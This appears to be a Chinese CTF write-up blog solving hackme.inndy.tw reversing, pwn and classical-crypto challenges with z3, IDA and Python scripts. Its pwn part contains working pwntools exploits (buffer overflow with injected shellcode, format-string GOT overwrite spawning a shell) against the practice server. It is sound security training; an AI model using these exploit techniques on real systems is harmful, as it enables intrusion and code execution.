print ('').join(gg[(lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda n: 1 if n < 3 else f(n - 1) + f(n - 2))(i + 2)] for i in range(16)) % ('').join(data[pow((__import__('fractions').gcd(z[(i % 5)], z[((i + 1) % 5)]) * 2 + 1) * g, F[(i % 5)] * (i * 2 + 1), len(data))] for i in range(32))

__import__('sys').setrecursionlimit(1048576)设置最大递归次数

lambda起到匿名函数的功能。可参考:

https://rosettacode.org/wiki/Y_combinator#Python

https://www.cnblogs.com/evening/archive/2012/03/29/2423554.html

我开始想读懂算法,但是这个lambda太难读了,毫无游戏体验感。

最后看了大佬的题解,才醒悟原来可以直接修改相关判断条件,不需要读懂算法。

将代码的第16行修改为c = l,则可以直接满足17行的c==l的判断条件。

修改后的代码为

__import__('sys').setrecursionlimit(1048576)
data = 'Tt1PJbKTTP+nCqHvVwojv9K8AmPWx1q1UCC7yAxMRIpddAlH+oIHgTET7KHS1SIZshfo2DOu8dUt6wORBvNVBpUSsuHa0S78KG+SCQtB2lr4c1RPbMf0nR9SeSm1ptEY37y310SJMY28u6m4Y44qniGTi39ToHRTyxwsbHVuEjf480eeYAfSVvpWvS8Oy2bjvy0QMVEMSkyJ9p1QlGgyg3mUnNCpSb96VgCaUe4aFu4YbOnOV3HUgYcgXs7IcCELyUeUci7mN8HSvNc93sST6mKl5SDryngxuURkmqLB3azioL6MLWZTg69j6dflQIhr8RvOLNwRURYRKa1g7CKkmhN4RytXn4nyK2UM/SoR+ntja1scBJTUo0I31x1wBJpT4HjDN47FLQWIkRW+2wnB3eEwO5+uSiQpzA8VaH7VGRrlU/BFW4GqbaepzKPLdXQFBkNyBKzqzR/zA2GIrYbLIVScWJ19DqJCOyVLGeVIVXyzN1y327orYL2Ee3lRITnE3FouicRStaznIcw8xmxvukwVMRZIJ/vTu8Zc1WQIYEIFXMHozGuvzZgROZTyFihWNRCBBtoP9DJJALJb0pA1IKIb2zLh+pwGF40Y6y93D6weKejGPO+A0DBXH9vuLcCcCIvr/XPQhO3jLKCBN+h9unuJKW3dyWxyaVPdR2V+BTw10VXolo7yaTH1GbR4TiVSB308mBOMwfchwihEe7RdMXvmXgaGarKkJe0NLUCd8jwhYII+WymjxO/xOz/ppOvNfAyIQksW0sggRPQTlgXSZ7MIVA1h66sGNljJ833MoFzWof3azLabaz1OrAJFqYXBg/myDsy1tV6rULSQ82hVR/TNnSmBGvyEDJTrLSwHyj78NOrW4mUnlLGBnAgWfw6pW2lRK2jkNX9NM6DfLsRK8lwl85UP8CZSuNdcLmLwHTVMZGm/cNkZCtWRBlZqEggxGdIO44D+f4y6ysnAk5/QzEwjIuecxEOb0jyV6dFui8g0c3Oxlhzcli0X8ToJFyeQRv1N9nokYZ07tFlG6m18kCToKz1qiH1U7kljXa6SvdORur5dWYLQ//gwhwppe7JlNda/cEoh92h96wRZDv1dSK/f1vz+mUeUyUlFY0iMjfw5eBXWZppNZi3ZtJcq5kllM2ACVFcxQWI3azM3ArOcqjosoiPjNoDYgKh7w4k2Cd0kLYEHscz/njtJ1KEcwLtqs4nJ+gB2r4V9g03YgvY5E8JJtfJMKdaTedjtvEuif8FNlCK9DMnL1iLpWptJbdfO83Y7Y46XCqjZFBI5o9Qtb78nLhMEM5/YTaNOM/wE/oJl5HI/i1X6kW3PKCsVubRkOkc2xawl6NYdLETjLvmrGhhI'
a = 138429774382724799266162638867586769792748493609302140496533867008095173455879947894779596310639574974753192434052788523153034589364467968354251594963074151184337695885797721664543377136576728391441971163150867881230659356864392306243566560400813331657921013491282868612767612765572674016169587707802180184907
b = 166973306488837616386657525560867472072892600582336170876582087259745204609621953127155704341986656998388476384268944991674622137321564169015892277394676111821625785660520124854949115848029992901570017003426516060587542151508457828993393269285811192061921777841414081024007246548176106270807755753959299347499
c = 139406975904616010993781070968929386959137770161716276206009304788138064464003872600873092175794194742278065731836036319691820923110824297438873852431436552084682500678960815829913952504299121961851611486307770895268480972697776808108762998982519628673363727353417882436601914441385329576073198101416778820619
d = 120247815040203971878156401336064195859617475109255488973983177090503841094270099798091750950310387020985631462241773194856928204176366565203099326711551950860726971729471331094591029476222036323301387584932169743858328653144427714133805588252752063520123349229781762269259290641902996030408389845608487018053
e = 104267926052681232399022097693567945566792104266393042997592419084595590842792587289837162127972340402399483206179123720857893336658554734721858861632513815134558092263747423069663471743032485002524258053046479965386191422139115548526476836214275044776929064607168983831792995196973781849976905066967868513707
F = (a, b, c, d, e)
m = 8804961678093749244362737710317041066205860704668932527558424153061050650933657852195829452594083176433024286784373401822915616916582813941258471733233011
g = 67051725181167609293818569777421162357707866659797065037224862389521658445401
z = []
for i, f in enumerate(F):
    n = pow(f, m, g)
    this_is = 'Y-Combinator'
    l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: 1 if x < 2 else f(x - 1) * x % n)(g % 27777)
    c = l 
    if int(c) != l:
        print 'Wrong~'
        exit()
    z.append(l)

z.sort()
gg = '(flaSg\'7 \\h#GiQwt~66\x0csxCN]4sT{? Zx YCf6S>|~`\x0c$/}\'\r:4DjJFvm]([sP%FMY"@=YS;CQ7T#zx42#$S_j0\\Lu^N31=r\x0b\t\tjVhhb_KM$|6]\nl!:V\rx8P[0m ;ho_\rR(0/~9HgE8!ec*AsGd[e|2&h!}GLGt\'=$\x0cbKFMnbez-q\\`I~];@$y#bj9K0xmI2#8 sl^gBNL@fUL\x0b\\9Ohf]c>Vj/>rnWXgLP#<+4$BG@,\'n a_7C:-}f(WO8Y\x0c2|(nTP!\'\\>^\'}-7+AwBV!w7KUq4Qpg\tf.}Z7_!m+ypy=`3#\\=?9B4=?^}&\'~ Z@OH8\n0=6\x0b\tv\nl!G\'y4dQW5!~g~I*f"rz1{qQH{G9\x0c\'b\x0cp\x0bdu!2/\\@i4eG"If0A{-)N=6GMC<U5/ds\rG&z>P1\nsq=5>dFZUWtjv\tX~^?9?Irwx\\5A!32N\x0bcVkx!f)sVY Men\x0c\'ujN<"LJ\x0c5R4"\\\\XPVA\'m$~tj)Br}C}&kX2<|\np3XtaHB.P\'(E 4$dm!uDyC%u ["x[VYw=1aDJ (8V/a!J?`_r:n7J88!a25AZ]#,ab?{%e\x0b]wN_}*Q:mh>@]u\t&6:Z*Fmr?U`cOHbAf7s@&5~L ,\tQ18 -Hg q2nz%\x0ccUm=dz&h1(ozoZ)mrA=`HKo\n\'rXm}Z-l3]WgN\\NW<{o=)[V({7<N1.-A8S"=;3sderb\tOZ$K\r0o/5\x0bMc76EGCWJ3IQpr7!QhbgzX8uGe3<w-g\'/j\'\tM4|9l?i&tm_\n57X0B2rOpuB@H@%L_\r)&/q=LZa(%}""#if#Kq74xK?`jGFOn"8&^3Q-\r#]E$=!b^In0:$4VKPXP0UK=IK)Y\rstOT40=?DyHor8j7O\\r/~ncJ5];cCT)c?OS0EM5m#V(-%"Tu:!UsE],0Dp  s@HErS]J{%oH54B&(zE.(@5#2k\tJnNlnUEij\\.q/3HBpJNk*X(k5;DlqK\'\'fX\r}EBk_7\x0b:>8~\t+M@WJx.PO({/U}1}#TqjreG\nN{\rX>4EsJr0Pn\\Z\\aL/-U<<{,Q;j\tF=7f\')+wH:p{G=_.s\\t-\x0bI\x0c*y\t1P:Y|/2xE<uo]~$>5k]FW+>fR<QA"(Fj[LL(hzfQo#PJ;:*0kB~3]9uL[o.xue:VQ\t;9-Tu\tq|mzzhV_okP\t,d\rQ`]5Gf\x0c#gXB\x0cAH|)NI|K=KW-&p-<b"3e.rO\x0cuK=\x0c^\r+MuLxCJ`UKaD\x0bBH&n+YVajZ(U7pwWtto3T10VLHwSJ\rK\t}\'F$l1:b2Bd\na=#t0iq}#!{1_)w$}<Dp(borC\'\t?r6;,+k;a(Q3@B?RCWYEDrjZe![x=n_%S]rl{&fLr*mgCD;92/nNsaxKy/;\nr]sPK=`+YP>MmfB\n8O4/"}nE7r*=41f2\t37>K\'s$wpl;qS[`qzu\x0b\t\nuaU|b,C`4& dRN~]7DnuTb2FhNHV!#Z2Hho\x0b[%.{O\t$q0\x0ch_@?w@b8[I^{JL|O8]i8{p)A.w)14qK3JoyF%licZ~ga\rW[L:W\rtIvfWJjZUOvB\rS.Beav3!-@bw|PexJ Pcw1\ry6!63B}]J])6fak/3r]W\tMeXt[uc(1_U lys{a1X\r%)[wwP3rhgNW{*d~_E%Q2htCt5ha@l0^0=\x0bwT\ni4/V;_\nM1rb?w~Q)Dli4u\n`}1+D8"\t`@V~$9l$Uy**VnI (@Ga0<RxfmoNgJTtE-aLH\rE5fMy7rk$)V\rL2Fv/AivOa"\nuX|70Xrw^D]%i%JyT\x0cc%cwZ/Wbp=IiY;/@nFEe>3=tM;K*`fReGoc5V/Ri?nXZ-RW)\'\t<\x0cV>@X@-Ei4%sO%},B_pjc`s"@oKCmdgDhjUZT@?mb\'?Q:F\x0bLJkPgjaFAc=rbrjAz$Zz\x0cq0GU!")xFOEF(x!3M\t:l83|}}HgGJJ#eT/I\x0b[|lK_n+;Wi/N^B4LzL.a(gVWq,zO6\'S|tb>RX` ca*CO<w\x0ci =wc1,M~\x0bc`FYEs\r){+Ll8[I9-88m\t\\iK/\\hno-C[vX*3Hx:%:K\rt\x0cW!tj\'SOhqxP|k7cw Hm?I@?P\'HmapG7$0#T(Auz]sjmd#\rFP/}53@-Kvmi(d%dZKLZ2LK\'e_E\x0bQmR 5/(irq4-EUyp<hB?[\tnU:p*xuzASM'
print ('').join(gg[(lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda n: 1 if n < 3 else f(n - 1) + f(n - 2))(i + 2)] for i in range(16)) % ('').join(data[pow((__import__('fractions').gcd(z[(i % 5)], z[((i + 1) % 5)]) * 2 + 1) * g, F[(i % 5)] * (i * 2 + 1), len(data))] for i in range(32))

但是在windows下运行还是

img

此题非预期?本网站的中等难度的逆向题大概能有四五十个成功解答的,但是此题有将近一百个拿到flag的。不应该啊?

后来在kail下直接运行成功(我怀疑是递归那里出的问题)

img

此题的心得:

1、不一定非要理解算法,可以特殊途径绕过算法。

2、程序运行出错可以考虑换平台,不要拘束。

045 accumulator

题目名称的意思是累加器,让你不好好学英语。。。

主函数:

输入字符串

img

加密代码

img

先对sha后的字符串加密,再对原字符串加密

sub_4008C0

img

根据实际含义我修改了变量名。

关键代码就是28行,累加。29行判断累计后的值和数据库中的值是否一致。

使用IDC脚本提取数据库数据。https://blog.csdn.net/qq_35078631/article/details/79849977

shift+f2(或file->script command)

img

static main()
{
    auto i,fp;
    fp = fopen("d:\\dump","wb");
    auto start = 0x601080;
    auto size = 0x601398 - 0x601080;
    for(i=start;i<start+size;i++)
    {
        fputc(Byte(i),fp);
    }
    fp.close();
}

点击run。相关数据写入d:dump文件中。

python解密脚本

import binascii

with open('dump','rb')as f:
    data = f.read()
num = []
for i in range(len(data)//4):
    d = data[4*i : 4*i+4][::-1]    #b'\x00\x00C\xdf'
    d = str(binascii.hexlify(d))[2:-1]    #000043df
    d = int(d,16)    #17375
    num.append(d)

for i,n in enumerate(num):
    if i<len(num)-1:
        a = num[i]
        b = num[i+1]
        print(chr(b-a),end='')

输出为

img

后半段为flag

046 GCCC

img

这是c#写的.net程序。

NET是个平台,理论上,各种语言都可以编译成它的IL,在上面运行。.NET开发,就是把它当作目标平台的开发。(除非你在极少数的公司,那是真正做.NET开发的。做的是开发.NET这个平台本身。)然而实际上,.NET上还分了阶级。C#是全能的亲儿子,ASP/VB/F#是能力较弱的亲儿子,其他语言那是干儿子或者过继的。所以,实际中,你可以认为就是在搞C#了。

使用ILSpy逆向

img

关键代码

img

num是输入的数字,正确则进行解密并输出flag。解密时需要用到num,所以无法绕过,必须求出num。

程序对num进行了32轮验证,每次num右移1位。

最后num为0。

num需要满足以下条件:

范围在[2^31, 2^32)

FLAG{开头,

}结尾,

中间字符 in "ABCDEFGHIJKLMNOPQRSTUVWXYZ{} "

可以用z3约束性求解。

我写的python3:

from z3 import *
array = [164,25,4,130,126,158,91,199,173,252,239,143,150,251,126,39,104,104,146,208,249,9,219,208,101,182,62,92,6,27,5,46]
b = 0
num = BitVec('num', 64)
solver = Solver()
solver.add(num >= 2**31)    #.add()添加约束性条件
solver.add(num < 2**32)

for num2 in range(32):
    if num2 < 5:
        solver.add((array[num2] ^ num ^ b) & 0x7f == ord('FLAG{'[num2]))

    elif num2 == 31:
        solver.add((array[num2] ^ num ^ b) & 0x7f == ord('}'))

    else:
        solver.add(
            Or(
                And(
                    ((array[num2] ^ num ^ b) & 0x7f >= ord('A')),
                    ((array[num2] ^ num ^ b) & 0x7f <= ord('Z'))
                ),
                ((array[num2] ^ num ^ b) & 0x7f == ord(' '))
            )
        )
    b ^= array[num2]
    num >>= 1
if solver.check() == sat:    #ok为sat,否则为unsat,不是字符串
    print(solver.model())    #结果

针对脚本的注释:

1、 Int类型函数无法顺利表示过大的数,使用x = BitVec('x',64)可以声明在64bit之内的变量。第一个参数是变量名(字符串),第二个参数不一定非是64

2、注意Or和And。条件之间要有逗号,最后一个条件后没有逗号

3、坑死我的游标卡尺:第26、27行一开始被我搞在了else的域内。

4、&0x7f的原因:原代码char c = (char)(array[num2] ^ (byte)num ^ b); (char),强制转换为char类型,char的范围是0~127,而&0x7f可以将符号位归零。

之前参考的大佬的题解中solver.add((array[num2] ^ (num & 0x7f) ^ b) & 0x7f == ord('FLAG{'[num2])),对byte类型的num也&0x7f,还解释称:java中的byte函数要用&0x7f来处理。

两个错误:一不是java,二byte类型-128~127,不需要&0x7f。虽然他的代码也能跑出结果。

这位大佬的题解http://myhackerworld.top/2018/10/24/hackme-inndy-tw-Reversing-wp/

运行脚本,输出[num = 3658134498]

则在gccc.exe中输入3658134498,拿到flag。

要在cmd下运行程序哦,否则程序输出flag后一闪而过,根本来不及看到flag。

047 ccc

主函数

img

加密函数verify

img

关键代码是第13行,分别对flag的前三位,前六位,前九位...进行crc32加密(我之前错误地理解成了对前三位,四至六位,七至九位crc32加密)。

加密后地数据存在hashes处

提取hashes处数据,winhex保存成文件。

写的解密脚本:

import binascii

def decode(dword, flag):
    print(dword,end=' ')
    import string
    char = string.printable    #所有可打印字符
    for i in char:
        for j in char:
            for k in char:
                s = flag + i + j + k
                crc32 = hex(binascii.crc32(s.encode()))[2:]    #去掉0x开头
                crc32 = crc32 if len(crc32)==8 else '0'+crc32
                if crc32 == dword:
                    print(s)
                    return s


with open('11.txt','rb')as f:
    data = f.read()
flag = ''
for i in range(len(data)//4):
    d = data[4*i : 4*i+4][::-1]   #原来是小端,反转显示大端
    d = str(binascii.hexlify(d))[2:-1]    #去除b''
    flag = decode(d, flag)

写这个脚本有好几个坑:

1、crc32加密:binascii.crc32()

在python2中,binascii.crc32(v) & 0xffffffff

& 0xffffffff可以由符号数得到无符号数

在python3中,binascii.crc32(s.encode())

字符串要encode(),由str型得到字节(bytes)型,否则出现报错TypeError: a bytes-like object is required, not ‘str‘

2、python3返回二进制数据 data 的十六进制表示形式:binascii.hexlify(d)

前:b'\xd6AYo'

后:b‘d641596f’

python2只需要在后面.encode('hex')即可

3、hex(binascii.crc32(s.encode()))的结果,不算0x的前缀,如果第一位应该是0,结果会只有七位,需要手动添上0。坑死我了

4、关于数据读入,特别是大头小头的,可以学习一下python的struct

https://codeday.me/bug/20181225/466201.html

https://segmentfault.com/a/1190000016851956

https://www.docs4dev.com/docs/zh/python/3.7.2rc1/all/library-struct.html

运行截图

img

过几天仔细学一下编码吧,读一读《深入理解计算机系统》。python2和3的编码异同也要了解一下,不然很多函数的参数的类型总是搞不对。

048 bitx

img

命令行运行,参数为flag。将flag地址转换为int传入verify

verify代码:

signed int __cdecl verify(int input_address)
{
  int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; *(_BYTE *)(i + input_address) && *(_BYTE *)(i + 0x804A040); ++i )
  {
    if ( *(_BYTE *)(i + input_address) + 9 != ((unsigned __int8)((*(_BYTE *)(i + 0x804A040) & 0xAA) >> 1) | (unsigned __int8)(2 * (*(_BYTE *)(i + 0x804A040) & 0x55))) )// |是bit的或,不是条件或。。。
      return 0;
  }
  return 1;
}

关键第7行,进行位变换。

我一开始把|当成了||,卡了很久。

提取0x804A040处的数据用winhex保存在文件中后,运行python脚本

with open('11.txt','rb')as f:
    data = f.read()
for byte in data:
    #print(byte,end=' ')
    s = (((byte & 0xAA) >> 1) | (2 * (byte & 0x55))) -9
    print(chr(s),end='')

FLAG{Swap tw6bits is easy 0xaa wit60x55}

img

但是提交时不正确,明天再看看。

重新把数据通过winhex搞成文件后再运行,拿到FLAG{Swap two bits is easy 0xaa with 0x55},估计是之前那次winhex数据搞错了。但是,输入错误的flag,为什么也是Good?搞不明白。难受。过两天需要学一下idaPython了。

050 what-the-hell

分析

输入两个key,求出第三个key,然后解密输出flag.

1579339786622

key1,key2可以通过下面代码的数据求出来。

what函数是斐波那契数列(Fibonacci sequence)。

斐波那契数列(Fibonacci sequence),又称黄金分割数列、因数学家列昂纳多·斐波那契(Leonardoda Fibonacci)以兔子繁殖为例子而引入,故又称为“兔子数列”,指的是这样一个数列:1、1、2、3、5、8、13、21、34

假定斐波那契数列中数值为key1的项是第i项,则key3 = key2 * i + 1

1579339820009

所以,其实本程序本身就是可以输出flag的。

但是what这个求斐波那契数列的函数,是递归实现的,速度极其缓慢。

1579352196214

不过,出题人还给我们留了一个迭代实现的求斐波那契数列的函数fast_what,速度就快多了。

1579352267734

所以解题思路是通过z3求出key1和key2,然后通过ida把calc_key3中的call whatpatch成call fast_what

z3求key1,key2

不过z3求key有个大坑,求出的解有两组,但是正常写法z3只给出一组,参考了M4x师傅-0x09 what-the-hell的代码,学到了z3多解输出的新知识。

from z3 import *

def isPrime(n): 
    if n <= 1: 
        return False
    if n == 2: 
        return True
    if n % 2 == 0: 
        return False
    i = 3
    while i * i <= n: 
        if n % i == 0: 
          return False
        i += 2
    return True

a = BitVec('a', 32)
b = BitVec('b', 32)
s = Solver()

s.add(a * b == 0xDDC34132)
s.add((a ^ 0x7E) * (b + 16) == 0x732092BE )
s.add(((a - b) & 0xFFF) == 3295)

while s.check() == sat:
    if isPrime(s.model()[a].as_long()):
        print(s.model())
    s.add(Or(a != s.model()[a], b != s.model()[b]))
else:
    print('unset')
#输出:
#[b = 1234567890, a = 2136772529]
#[b = 1234567890, a = 4284256177]
#unset

我最初只拿到第一组解,运行下一步patch后的程序,输入这组key,程序一直没有输出flag,按说应该很快就拿到flag。这是因为程序一直没有满足斐波那契数列的第i项与key1相等,所以一直在循环中。

IDA patch 程序

来到函数calc_key3中调用函数what的地方:

1579352707642

1579352740083

1579352761610

1579352782196

最后还要将改动写入文件。

1579352860255

运行

将文件拷贝到linux机器中并运行。

1579353068607

秒出flag.

051 unpackme

upxshell脱壳失败,观察十六进制数据,发现壳的某些关键信息被改掉了。

找一个正常upx加壳的程序做对比:

1579362953863

使用010 editor,修改如下信息:

!The flag is not FLAG{Hello,DOS section} -> !This program cannot be run in DOS mode.
CTF0 -> UPX0
CTF1 -> UPX1
CTF2 -> UPX2
CTF? -> UPX!

然后脱壳:1579363117211

脱壳后无法正常运行,但是可以通过ida查看源代码。

1579363249530

第60行求得flag(Text),且byte_410A80pbData的值均已知,所以只需要爆破v11即可。

byte_410A80 = [0x1a,0x8b,0x24,0x28,0x58,0x37,0xac,0x52,0x53,0xb5,0x1e,0x3e,0x4a,0x25,0x4a,0x27,0x6b,0xb2,0x17,0x1,0x3,0x0b,0xf4,0x14,0,0xf1,0x61,0x70,0x0c,0x55,0x20,0x7a]
print(len(byte_410A80))
pbData = [0x34,0xaf,0x0d,0x7,0x4b,0x17,0xf4,0x4d,0x1b,0xb9,0x39,0x76,0x5b,0x2,0x77,0x6f]
for i in range(32, 128):
    flag = []
    for j in range(len(byte_410A80)):
        flag.append((i ^ byte_410A80[j] ^ pbData[j & 0xf]) & 0x7f)
    print(i, ''.join(list(map(chr,flag))))

参考:

PWN

057 catflag

题目描述:

nc hackme.inndy.tw 7709

ry using nc connect to server!

yum install nc
nc hackme.inndy.tw 7709
cat flag

img

058 homework

1572660656405

1572660645365

1572660678239

1572660751544

从arr数组入手,修改返回地址。

from pwn import *
p = remote('hackme.inndy.tw', 7701)
context.log_level = 'debug'
p.sendlineafter("What's your name? ", 'yzy')
p.sendline('1')
p.sendlineafter('Index to edit: ', str(int(0x34+4)//4))
p.sendlineafter('How many? ', str(int('0x80485FB', 16)))
p.sendlineafter('0 > exit', '0')
p.interactive()

1572663998789

061 toooomuch

ROP

from pwn import *
p = remote('hackme.inndy.tw', 7702)
payload = 'a'*(0x18+4) + p32(0x804863B)
p.sendlineafter('Give me your passcode: ', payload)
p.interactive()

1572663933919

062 toooomuch-2

1578629169446

return到gets函数,将shellcode写入bss段(passcode),然后gets函数返回到bss段(passcode)处,并执行shellcode。

from pwn import *

get = 0x8048480
bss = 0x8049C60
payload = 'a'*(0x18+4) + p32(get) + p32(bss) + p32(bss)

p = remote('hackme.inndy.tw', 7702)
p.recvuntil('Give me your passcode:')
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
p.interactive()

没啥好说的,第一个p32(bss)是gets函数的参数,第二个是gets的返回地址ret。(有大佬说第一个是返回地址,第二个是参数,此处存疑。TODO

今天在杭州的宾馆里,不知道为啥这里的网络能上hackme的网站,但是nc连接不上。所以在阿里云的centos7上nc的.

[root@izwdpnodbapihwz pwn]# vim toooomach.py
[root@izwdpnodbapihwz pwn]# python t*
[+] Opening connection to hackme.inndy.tw on port 7702: Done
[*] Switching to interactive mode
 You are not allowed here!
$ ls
fake_flag
flag
run.sh
toooomuch
$ cat fake_flag
FLAG{B1N@RY S3@RCH 15 F@5T T0 TH3 GU355 NUM133R G@M3...Vx1uck7CvuaCEew7}
$ cat flag
FLAG{Buffer overflow is pretty easy, right?...MbIfR7p9sbKbwPSp}

063 echo

1578731982226

经典的格式化字符串漏洞。和之前做的不同的是,这个题和GOT,PLT结合。

GOT(Global Offset Table),全局偏移表,用于记录在 ELF 文件中所用到的共享库中符号的绝对(真实)地址,是存放函数地址的数据表。

PLT(Procedure Linkage Table),过程链接表,作用是将位置无关的符号转移到绝对地址。

当一个外部符号被调用时,PLT 去引用 GOT 中的其符号对应的绝对地址,然后转入并执行

参考:got/plt表学习聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT

本题没有开始地址随机化,所以思路是获取system和printf静态地址通过格式化字符串漏洞(fgets),将printf在GOT中的值(printf函数的真实地址),覆写为system函数在PLT表中的地址,所以调用printf时,其实调用的是system。

首先我们要获取当时输入地址在栈内的偏移:

[root@izwdpnodbapihwz pwn]# nc hackme.inndy.tw 7711
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0x100.0xf7f275a0.(nil).0xf7f59000.0x80482e7.0xf63d4e2e.0x41414141.0x2e70252e.0x252e7025

很容易发现0x41414141(即AAAA)在栈内的偏移是7。

当然下面脚本也可以自动检测偏移

from pwn import *

context.log_level = 'debug'

def exec_fmt(payload):
    p = remote('hackme.inndy.tw', 7711)
    #p = process("a.out")
    p.sendline(payload)
    info = p.recv()
    p.close()
    return info

autofmt = FmtStr(exec_fmt)
print autofmt.offset
#经过一系列的尝试,脚本最终输出为7,见下图

1578747494900

from pwn import *

p = remote('hackme.inndy.tw',7711)
elf = ELF('./echo')
printf_got_addr = elf.got['printf']
system_plt_addr = elf.plt['system']

payload = fmtstr_payload(7, {printf_got_addr: system_plt_addr})
p.sendline(payload)
p.interactive()

fmtstr_payload是专门为32位程序格式化字符串漏洞输出payload的一个函数,第一个参数是一个偏移量(就是上面我们搞得那个),第二个参数是一个字典,往key的地址,写入value的值。

我们来分析下向服务器发送的数据:

1578750583382

先说明,我们可以获取0x0804a010是printf的got地址,0x08048400是system的plt地址。

首先是四个地址,0x0804a010~0x0804a013。

然后%240c%7$hhn ,向栈内偏移为7处的地址处(即0x0804a010,printf的首地址),写入(240+16) & 0xff = 0x00

之后的写入的依次是:

(132 + 0x00) & 0xff = 0x84,

(128 + 0x84) & 0xff = 0x04,

(4 + 0x04) & 0xff = 0x08

合起来就是system的地址,0x08048400

参考:hackme.inndy.tw pwn

为了理解思想,这里摘录一个大佬的脚本,来源就是上面的链接。

from pwn import *

context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
target = remote('hackme.inndy.tw', 7711)
elf = ELF('./echo')
plt_sys = elf.symbols['system']
got_printf = elf.got['printf']
print hex(plt_sys)  #0x8048400
print hex(got_printf) #0x804a010

payload = p32(got_printf)
payload += p32(got_printf + 1)
payload += p32(got_printf + 2)
payload += p32(got_printf + 3)
payload += '%'
payload += str(0x100 - 0x10)
payload += 'c%7$hhn'
payload += '%'
payload += str(0x84)
payload += 'c%8$hhn'
payload += '%'
payload += str(0x104 - 0x84)
payload += 'c%9$hhn'
payload += '%'
payload += str(0x108 - 0x104)
payload += 'c%10$hhn'
# print payload

# payload2 = fmtstr_payload(7,{got_printf:plt_sys})
# print payload2
target.sendline(payload)
target.recvuntil('\n')
target.sendline('/bin/sh\x00')
target.interactive()

%n 一次性写入 4 个字节

%hn 一次性写入 2 个字节

%hhn 一次性写入 1 个字节

%n 一般会配合 %c 进行使用,%c 负责输出字符,%n 负责统计输出的字符串的数量并转化为 16 进制格式写入到偏移的内存地址里。

from 格式化字符串任意地址写操作学习小计

关于格式化字符串,另可参考Linux系统下格式化字符串利用研究

097 fast

  • 规定时间内计算一万个表达式,正确则cat flag(开始时我走入误区,以为表达式个数随机,没想到10000就写在给出的程序中)
  • 网速太慢,可能还没接受完数据就已经超时,可以挂梯子或直接海外服务器上跑脚本。我在杭州一宾馆网络超时,阿里云轻量有时超时有时正常,原来想直接上海外服务器的,可惜环境还没还来得及配好)
  • 表达式形如-38020440 * -70015297 = ?(有些第二个数是负数,却没有括号括起来,所以并不能用eval直接计算)
  • 运算要遵循 C 语言下32位有符号整数的运算规则(注意除法的运算;结果是int32)(numpy的int32可将结果转换成c语言的int32)
import re
from numpy import int32
from pwn import *

def _eval(a, op, b):
    if op == '+':
        return int32(int(a) + int(b))
    elif op == '-':
        return int32(int(a) - int(b))
    elif op == '*':
        return int32(int(a) * int(b))
    elif op == '/':
        return int32(float(int(a)) / int(b))

#context.log_level = 'debug'
p = remote('hackme.inndy.tw', 7707)
p.recvuntil("Send 'Yes I know' to start the game.")
p.sendline('Yes I know')

datas = ''
while datas.count('\n') < 10000:
    datas += p.recv()

formulas = datas.split('\n')

answer = []
for formula in formulas:
    if formula != '':
        params = formula.split(' ')
        a, op , b = params[0], params[1], params[2]
        answer.append(_eval(a,op,b))
answer = '\n'.join(list(map(str,answer)))
p.send(answer)
p.interactive()

参考了两个大佬的代码,他们的脚本具有学习的价值,所以也在这里记录一下。

#from http://m4x.fun/post/hackme.inndy-writeup/
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from numpy import int32
import time
import re
#  context.log_level = 'debug'

#  io = process("./fast")
io = remote("hackme.inndy.tw", 7707)

io.sendlineafter("the game.\n", "Yes I know")

ans = ""
res = ""
f = lambda x: int32(int(x))
for i in xrange(10000):
    n1, op, n2 = io.recvuntil("=", drop = True).strip().split(' ')
    #  print n1, op, n2
    io.recvline()

    if op == '+':
        #  print n1, op, n2
        ans = str(f(n1) + f(n2))
    if op == '-':
        ans = str(f(n1) - f(n2))
    if op == '*':
        ans = str(f(n1) * f(n2))
    if op == '/':
        ans = str(int(float(n1) / int(n2)))

    res += (ans + " ")

#  print res
io.sendline(res)
io.interactive()
io.close()

知识点:

  • lambda将int32(int(x))封装,简洁
  • recvuntil("=", drop = True).strip().split(' '),接收到等号,且丢弃等号(drop=false时,接受到等号且不丢弃等号)
  • 计算除法:ans = str(int(float(n1) / int(n2)))
#from https://www.aloxaf.com/2018/07/hackme_inndy/#fast

%%cython 
import cython
from pwn import *

@cython.cdivision(True)
def _eval(int a, op, int b):
    if op == b'+':
        return a + b
    elif op == b'-':
        return a - b
    elif op == b'*':
        return a * b
    elif op == b'/':
        return a / b

io = remote('hackme.inndy.tw', 7707)
io.recvuntil('start the game.\n')
io.sendline('Yes I know')

exps = b''

while exps.count(b'\n') != 10000:
    exps += io.recv()
exps = exps.strip().split(b'\n')

ans = ''
for i in range(len(exps)):
    exp = exps[i].split()
    a, b = int(exp[0]), int(exp[2])
    op = exp[1]
    ans += f'{_eval(a, op, b)}\n'
io.send(ans)
io.interactive()
io.close()

知识点:

  • cython(TODO
  • while exps.count(b'\n') != 10000:根据count('n')的数量来判断是否达到10000

密码学

081 easy

526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d

base16后base64

082 r u kidding

EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}

凯撒密码

s = '''EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}'''
for i in s:
    if 'A' <= i <= 'Z':
        n = (ord(i)-65+1)%26+65
    elif 'a' <= i <= 'z':
        n = (ord(i)-97+1)%26+97
    else:
        n = ord(i)
    print(chr(n),end='')

083 not hard

Nm@rmLsBy{Nm5u-K{iZKPgPMzS2IlPc%_SMOjQ#O;uV{MM?PPFhk|Hd;hVPFhq{HaAH<

Tips: pydoc3 base64

base85后base32

顺便说一下cyberchef.htm中base85如何解码

img

搜索框中输入85,双击from base85,选择ipv6

img

img

在input中输入密文,自动转换出明文

img

084 classic cipher 1

MTHJ{CWTNXRJCUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}

Solve this substitution cipher

换位加密

https://quipqiup.com/>; 在线词频统计整理网站。也可以用WinDecrypto

强力推销!!!

img

第0条去掉中间的空格,提交

img

085 classic cipher 2

